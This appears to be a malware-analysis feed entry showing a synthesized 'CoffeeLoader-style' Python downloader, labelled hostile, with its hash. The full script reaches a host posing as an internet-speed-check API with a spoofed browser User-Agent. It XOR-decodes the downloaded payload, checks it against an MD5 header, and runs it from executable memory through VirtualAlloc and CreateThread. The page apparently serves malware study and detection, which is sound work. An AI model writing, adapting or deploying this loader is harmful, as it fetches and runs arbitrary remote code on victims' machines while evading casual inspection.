Hostile 100% python Download

downloader.py

Python executable buffer and threadHTTP body XOR-decoded into executable memory
SHA-2563b5a578683ce26b433ae8be9fd0a1a389212fbb4dacdc39d0dd3f6788dbc3fca

Evidence

Reads urllib response body lines 1–28
1# Synthesized: CoffeeLoader-style staged downloader (payload?md5=, XOR, in-memory exec)
2import ctypes, hashlib, ssl, urllib.request
3
4HOST = "https://api.internet-speed-check.com"
5UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
6
7def fetch(prev):
8 req = urllib.request.Request(HOST + "/payload?md5=" + prev, headers={"User-Agent": UA})
9 r = urllib.request.urlopen(req, context=ssl.create_default_context())
10 return r.read(), r.headers.get("X-Content-MD5")
11
12def xor_first16(blob):
13 key = blob[:16]
14 body = blob[16:]
15 return bytes(b ^ key[i % 16] for i, b in enumerate(body))
16
17prev = "0" * 32
18while True:
19 blob, md5 = fetch(prev)
20 body = xor_first16(blob)
21 if hashlib.md5(body).hexdigest() == md5:
22 k32 = ctypes.windll.kernel32
23 k32.VirtualAlloc.restype = ctypes.c_void_p
24 mem = k32.VirtualAlloc(None, len(body), 0x3000, 0x40)
25 ctypes.memmove(mem, body, len(body))
26 k32.CreateThread(None, 0, ctypes.c_void_p(mem), None, 0, None)
27 prev = md5
28 break

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.